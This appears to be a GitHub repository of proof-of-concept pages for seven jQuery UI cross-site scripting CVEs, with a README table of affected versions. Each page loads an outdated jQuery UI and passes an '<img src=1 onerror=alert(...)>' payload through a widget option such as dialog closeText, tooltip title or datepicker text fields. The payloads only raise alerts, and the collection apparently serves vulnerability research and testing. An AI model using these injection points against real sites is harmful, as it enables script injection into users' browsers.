├── .gitignore
├── CVE-2021-41184
    └── index.html
├── CVE-2016-7103
    └── index.html
├── CVE-2012-6662
    └── index.html
├── CVE-2010-5312
    └── index.html
├── CVE-2021-41182
    └── index.html
├── CVE-2022-31160
    └── index.html
├── README.md
└── CVE-2021-41183
    └── index.html


/.gitignore:
--------------------------------------------------------------------------------
1 | .idea


--------------------------------------------------------------------------------
/CVE-2021-41184/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2021-41184
 3 |     Version: jQuery UI < 1.13.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected into "of" option of the position initialization script
 6 |     Payload is executed without interaction on the page load
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/base/jquery-ui.css">
14 | 
15 | <div id="image_cont"></div>
16 | 
17 | <script>
18 |     $('#image_cont').position({of: '<img src=1 onerror=alert(1337)>'})
19 | </script>


--------------------------------------------------------------------------------
/CVE-2016-7103/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2016-7103
 3 |     Version: jQuery UI < 1.12.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected into dialog initialization parameter named "closeText"
 6 |     Payload is executed without interaction on the page load
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.0/themes/base/jquery-ui.css">
14 | 
15 | <div id="dialog"><p>hello there</p></div>
16 | 
17 | <script>
18 |     $('#dialog').dialog({closeText: '<img src=1 onerror=alert(1337)>'});
19 | </script>


--------------------------------------------------------------------------------
/CVE-2012-6662/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2012-6662
 3 |     Version: jQuery UI < 1.10.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected into "title" attribute of HTML element
 6 |     Payload is executed when tooltips are initialized and mouse is hovered over element
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/themes/base/jquery-ui.css">
14 | 
15 | <input id="age" title="<img src=1 onerror=alert(1337)>">
16 | 
17 | <!-- Initialization of Tooltips -->
18 | 
19 | <script>$(document).tooltip();</script>


--------------------------------------------------------------------------------
/CVE-2010-5312/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2010-5312
 3 |     Version: jQuery UI < 1.10.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected into "title" attribute of HTML element
 6 |     Payload is executed when dialog is initialized for HTML element with payload
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/themes/base/jquery-ui.css">
14 | 
15 | <div id="dialog" title="<img src=1 onerror=alert(1337)>">
16 |     <p>Dialog Content</p>
17 | </div>
18 | 
19 | <!-- Initialization of Dialog -->
20 | 
21 | <script>
22 |     $('#dialog').dialog();
23 | </script>


--------------------------------------------------------------------------------
/CVE-2021-41182/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2021-41182
 3 |     Version: jQuery UI < 1.13.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected directly into DatePicker initialization script
 6 |     Payload is executed without interaction when HTML source is not input element
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/base/jquery-ui.css">
14 | 
15 | <!-- Source is not input -->
16 | 
17 | <div id="datepicker_cont"></div>
18 | 
19 | <script>
20 |     $('#datepicker_cont').datepicker({
21 |         altField: '<img src=1 onerror=alert(1337)>', // w/o interaction when HTML source is not input
22 |     });
23 | </script>
24 | 


--------------------------------------------------------------------------------
/CVE-2022-31160/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2022-31160
 3 |     Version: jQuery UI < 1.13.2
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected into the <label> tag element with URL-encoded characters
 6 |     Payload is decoded to HTML and XSS is triggered when specific JS code is executed
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.1/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.1/themes/base/jquery-ui.css">
14 | 
15 | <label>
16 |     <!-- XSS Payload -->
17 |     &lt;img src=1 onerror=alert(1337)&gt;
18 |     <input type="radio" name="radio" class="radio">
19 | </label>
20 | 
21 | <!-- Default Initialization of Checkboxes -->
22 | 
23 | <script>
24 |     $('.radio').checkboxradio();
25 | </script>
26 | 
27 | <!-- Refresh of Checkboxes after some time or event will trigger XSS -->
28 | 
29 | <script>
30 |     setTimeout(function () {
31 |         $('.radio').checkboxradio('refresh');
32 |     }, 1000)
33 | </script>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # CVE Sandbox :: jQuery UI
 2 | 
 3 | CVE Collection of jQuery UI XSS Payloads
 4 | 
 5 | > Maintained by [@therceman](https://twitter.com/therceman)
 6 | 
 7 | | CVE | Version | Details |
 8 | | ------------- | ------------- | ------------- |
 9 | | [CVE-2022-31160](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2022-31160/index.html) | < 1.13.2 | [View on Snyk](https://security.snyk.io/vuln/SNYK-JS-JQUERYUI-2946728) |
10 | | [CVE-2021-41184](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2021-41184/index.html) | < 1.13.0 | [View on Snyk](https://security.snyk.io/vuln/SNYK-JS-JQUERYUI-1767175) |
11 | | [CVE-2021-41183](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2021-41183/index.html) | < 1.13.0 | [View on Snyk](https://security.snyk.io/vuln/SNYK-JS-JQUERYUI-1767767) |
12 | | [CVE-2021-41182](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2021-41182/index.html) | < 1.13.0 | [View on Snyk](https://security.snyk.io/vuln/SNYK-JS-JQUERYUI-1767167) |
13 | | [CVE-2016-7103](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2016-7103/index.html) | < 1.12.0 | [View on Snyk](https://security.snyk.io/vuln/npm:jquery-ui:20160721) |
14 | | [CVE-2012-6662](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2012-6662/index.html) | < 1.10.0 | [View on Snyk](https://security.snyk.io/vuln/npm:jquery-ui:20121127) |
15 | | [CVE-2010-5312](https://github.com/cve-sandbox/jquery-ui/blob/main/CVE-2010-5312/index.html) | < 1.10.0 | [View on Snyk](https://security.snyk.io/vuln/npm:jquery-ui:20100903) |
16 | 
17 | ![image](https://user-images.githubusercontent.com/13289710/210627107-2ad965f7-bf75-40ed-8490-002af637debf.png)
18 | 
19 | ![image](https://user-images.githubusercontent.com/13289710/210627133-92322d35-8f89-41ed-8363-36a32e396512.png)
20 | 


--------------------------------------------------------------------------------
/CVE-2021-41183/index.html:
--------------------------------------------------------------------------------
 1 | <!--
 2 |     CVE Sandbox :: jQuery UI :: CVE-2021-41183
 3 |     Version: jQuery UI < 1.13.0
 4 |     ------------------------------------------------------------------------------------
 5 |     The XSS payload is injected directly into DatePicker initialization script
 6 |     Payloads are executed when special conditions are met, see comments
 7 |     ------------------------------------------------------------------------------------
 8 |     POC Author: https://twitter.com/therceman
 9 | -->
10 | 
11 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
12 | <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
13 | <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/base/jquery-ui.css">
14 | 
15 | <!-- Source is not input -->
16 | 
17 | <div id="datepicker_cont"></div>
18 | 
19 | <script>
20 |     $('#datepicker_cont').datepicker({
21 |         prevText: '<img src=1 onerror=alert(1)>', // w/o interaction when HTML source is not input (#datepicker_cont)
22 |         nextText: '<img src=1 onerror=alert(2)>', // w/o interaction when HTML source is not input (#datepicker_cont)
23 |     });
24 | </script>
25 | 
26 | <!-- Source is input -->
27 | 
28 | <label for="datepicker_input">Click input field to open a Datepicker</label>
29 | <input type="text" id="datepicker_input">
30 | 
31 | <script>
32 |     $('#datepicker_input').datepicker({
33 |         showButtonPanel: true,
34 |         showOn: 'both',
35 |         closeText: '<img src=1 onerror=alert(3)>',   // triggered when is open + {showButtonPanel: true}
36 |         currentText: '<img src=1 onerror=alert(4)>', // triggered when is open + {showButtonPanel: true}
37 |         buttonText: '<img src=1 onerror=alert(5)>',  // w/o interaction when source is input + {showOn:'button'/'both'}
38 |         appendText: '<img src=1 onerror=alert(6)>'   // w/o interaction when source is input
39 |     });
40 | </script>


--------------------------------------------------------------------------------